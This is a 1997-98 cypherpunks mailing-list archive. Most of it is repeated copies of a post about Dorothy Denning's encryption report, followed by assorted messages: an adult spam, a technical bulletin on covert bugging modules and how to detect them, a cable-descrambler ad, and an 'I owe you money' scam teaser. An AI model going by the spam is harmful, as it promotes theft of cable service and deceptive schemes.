ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:50:56 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010339.VAA13890@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:56:39 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010345.VAA14095@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 11:59:51 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010351.VAA14266@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:05:16 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010356.VAA14479@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:16:05 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010407.WAA14923@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:11:42 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010402.WAA14720@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:20:44 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010413.WAA15145@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:27:51 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010418.WAA15430@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:33:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010423.WAA15695@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:38:01 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010429.WAA15891@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:40:43 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010434.WAA16088@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:47:38 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010439.WAA16249@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:53:42 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010444.WAA16494@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 12:57:38 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010450.WAA16699@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.attila.org>
Date: Fri, 1 Aug 1997 13:39:46 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Denning questions/reverses her position?
Message-ID: <199708010528.XAA17968@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matt Elliott <melliott@ncsa.uiuc.edu>
Date: Wed, 8 Jul 1998 22:56:40 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Tracking: iButton (fwd)
In-Reply-To: <3.0.5.32.19980708002919.00950100@popd.ix.netcom.com>
Message-ID: <v04011701afe8049a96d2@[141.142.103.240]>
MIME-Version: 1.0
Content-Type: text/plain



>What's to prevent someone from doing that?

time...


Matt <mailto:melliott@itmail.ncsa.uiuc.edu>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: email@exoticwhispers.com
Date: Tue, 1 Jul 1997 09:09:51 -0700 (PDT)
To: email@exoticwhispers.com
Subject: Legal Adult Content
Message-ID: <199707011126.HAA27257@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is intended for Adult Webmasters Only.

If you feel you have received this message in error, please click "reply" then type REMOVE
in the subject line.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

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214-827-2958






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James M. Atkinson, Comm-Eng" <jmatk@tscm.com>
Date: Wed, 2 Jul 1997 16:46:12 -0700 (PDT)
To: jmatk@tscm.com
Subject: TSCM Intelligence Update - Spread Spectrum Surveillance Modules
Message-ID: <v03102800afdf9366740e@[205.161.57.127]>
MIME-Version: 1.0
Content-Type: text/enriched

===========================================
TSCM-L Technical Security Mailing List

Postings:           TSCM-L@tscm.com
Unsubscribe:   unsubTSCM-L@tscm.com
Subscribe:       subTSCM-L@tscm.com
Admin:		      jmatk@tscm.com
===========================================


I will be taking off early this week so I can get 
a good start on the holiday this weekend. Happy 4th of July!!

===============

New Spread Spectrum Surveillance Modules

There are some new spread spectrum products coming into the US by way of China, and are starting to show up in Spy Shops on the West coast, Chicago, and Miami area. 

Two sided, four layer, surface mount PCB, several RF and audio IC's, several pots, coils, etc. Device is a raw module, designed for covert installations in an office or SOHO environment.

SM connector for antenna, micro molex connector for power and computer/serial interface.

PCB is 1.5 mm wide, 3.25 mm long, and .5mm thick.

Products are all based on a cordless telephone chip set, 780 Mhz to 980 Mhz, Direct Sequence Spread Spectrum (BPSK/QPSK?). 

Analysis of RF section indicates good response from 610 Mhz to 1090 Mhz.

Serial data rates between 56 kb/s and 784 kb/s (12 full audio channels capable).

Devices have a two way RS422 serial port to facilitate setup prior to field usage.

Programmed RF power levels range is spec'd between 50mw and 250mw, suspect the circuits will operate as low as 5mw. Evaluation of the RF amp indicates that RF section should support a full watt of power with no problem.

Recommended voltage is 3/6vdc, but circuit should work fine on 9 or 12vdc.

Connections for two or three wire transducers. Audio path is thru pre-amp, compander, CODEC, and controller. Looks like it can support two elements, each with its own tunable preselector.

Large amount of 60 hz filtering, suspect they were originally designed for 
installation into power strips (APC, Best, Woods, etc).

Look for the low level multihump signature on the spectrum analyser, and 
take a REAL hard look at all surge protectors. 

Be sure to "box" all electrical artifacts encountered on a TSCM sweep.

Well engineered, suspect cost to manuf. is under $35, should be popular, most of the spy shops are selling these for $1500 to $3000.

More details to follow after the holiday, should have an update by that time regarding the VLF devices being built by Thompson, and E-Systems.


- jma







========================================================================
"For those who risk, life has a flavor the protected shall never enjoy."
========================================================================
James M. Atkinson                                 Phone: (508) 546-3803
Granite Island Group - TSCM.COM
127 Eastern Avenue #291                           http://www.tscm.com/
Gloucester, MA 01931-8008                         jmatk@tscm.com
========================================================================
The First, The Largest, The Most Popular, and The Most  
Complete TSCM Counterintelligence Site on the Internet
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 78173518@arosnet.se
Date: Thu, 3 Jul 1997 05:12:37 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


CABLE DESCRAMBLER   -Build with 7 Radio Shack parts costing $13.00

-----------View all PREMIUM and PAY- PER VIEW channels.--------------

Our Cable Descrambler package is an information kit containing easy to
follow, step-by-step instructions on how to build a cable descrambler
from a few inexpensive parts available at Radio Shack or your local
electronics store.

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Pay-Per-View channels as long as you subscribe to BASIC cable service.

The assembly is very simple and does not require any kind of 
electronic training or experience.  Just follow the clear 
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$5.00:      Total  $_______

TO EXPEDITE PROCESSING: Fill out all information, print, and
FAX TO (619) 683-9130  (If paying by credit card)


If paying by cash, check, or money order....
Please make payable to:  C.B. SYSTEMS....
Fill out the following information;

& MAIL TO:

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Phone #(___)____  -________   *Email_________________________________

*For RUSH DELIVERY ONLY; Please leave e-mail address if you would like to recieve 
 this package via e-mail.

************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: how@amug.org
Date: Thu, 3 Jul 1997 05:13:12 -0700 (PDT)
To: howto@indirect.com
Subject: URGENT:  I think I owe you some money!!!
Message-ID: <24612350_90050937>
MIME-Version: 1.0
Content-Type: text/plain



     I am glad I found you!! I think I owe you some money!!!  

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Barrons Online <barrons@WSJ.DOWJONES.COM>
Date: Thu, 3 Jul 1997 14:31:18 -0700 (PDT)
To: BARRONS-ANNOUNCE@LISTSERV.DOWJONES.COM
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: <v03102804afe1b7994688@[143.131.147.65]>
MIME-Version: 1.0
Content-Type: text/plain


Dear Barron's Online subscriber:

I'd like to make you aware of some important changes coming to Barron's
Online in the next few weeks.

Barron's Online is forming an alliance with The Wall Street Journal
Interactive Edition, its sister Web publication from Dow Jones & Co.
Barron's Online, the Interactive Journal and the soon-to-be-unveiled
SmartMoney Interactive are pooling their efforts to provide investors with
the Web's  most comprehensive collection of business and markets news,
commentary, financial information and personal finance tools -- all at a
single subscription price.

Beginning July 25, access to Barron's Online will be by paid subscription
only. The price is $49 per year. But print subscribers to Barron's will be
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webpromo@compuserve.com
Date: Thu, 3 Jul 1997 13:41:31 -0700 (PDT)
To: webpromo@earthlink.net</A>
